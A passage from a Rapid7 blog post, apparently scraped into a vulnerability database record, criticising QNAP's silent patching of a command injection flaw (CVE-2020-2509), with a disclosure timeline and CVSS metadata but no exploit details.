wasn\u2019t necessarily what we wanted, we all benefited from their work. It\u2019s QNAP that owes us, the customers and security industry, good disclosures. Vendors who are responsible for the security of their products are also responsible for informing the community of the seriousness of vulnerabilities that affect those products. When they fail to do this \u2014 for example by failing to provide advisories with basic descriptions, affected components, and industry-standard metrics like CVSS \u2014 they deny their current and future users full autonomy over the choices they make about risk to their networks. This makes us all less secure.\n\n## Disclosure timeline\n\n * **July, 2022:** Researched and discovered by Jake Baines of Rapid7\n * **Thu, Jul 28, 2022:** Disclosed to QNAP, seeking a CVE ID\n * **Sun, Jul 31, 2022:** Automated response from vendor indicating they have moved to a new support ticket system and ticket should be filed with that system. Link to new ticketing system merely sends Rapid7 to QNAP\u2019s [home page](<https://service.qnap.com/en-us>).\n * **Tue, Aug 2, 2022:** Rapid7 informs QNAP via email that their support link is broken and Rapid7 will publish this blog on August 4, 2022.\n * **Tue, Aug 2, 2022:** QNAP responds directing Rapid7 to the [advisory](<https://www.qnap.com/en/security-advisory/qsa-21-05>) for CVE-2020-2509.\n * **Thu, Aug 4, 2022:** This public disclosure\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe\n\n \n\n\n_**Additional reading:**_\n\n * _[The Hidden Harm of Silent Patches](<https://www.rapid7.com/blog/post/2022/06/06/the-hidden-harm-of-silent-patches/>)_\n * _[Primary Arms PII Disclosure via IDOR (FIXED)](<https://www.rapid7.com/blog/post/2022/08/02/primary-arms-pii-disclosure-via-idor/>)_\n * _[CVE-2021-3779: Ruby-MySQL Gem Client File Read (FIXED)](<https://www.rapid7.com/blog/post/2022/06/28/cve-2021-3779-ruby-mysql-gem-client-file-read-fixed/>)_\n * _[CVE-2022-31749: WatchGuard Authenticated Arbitrary File Read/Write (Fixed)](<https://www.rapid7.com/blog/post/2022/06/23/cve-2022-31749-watchguard-authenticated-arbitrary-file-read-write-fixed/>)_", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-08-04T14:43:45", "type": "rapid7blog", "title": "QNAP Poisoned XML Command Injection (Silently Patched)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-2509", "CVE-2021-2509", "CVE-2021-3779", "CVE-2022-31749"], "modified": "2022-08-04T14:43:45", "id": "RAPID7BLOG:651F7B992ADD894F63962C1BB45887A6", "href": "https://blog.rapid7.com/2022/08/04/qnap-poisoned-xml-command-injection-silently-patched/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}
CVE-2020-2509
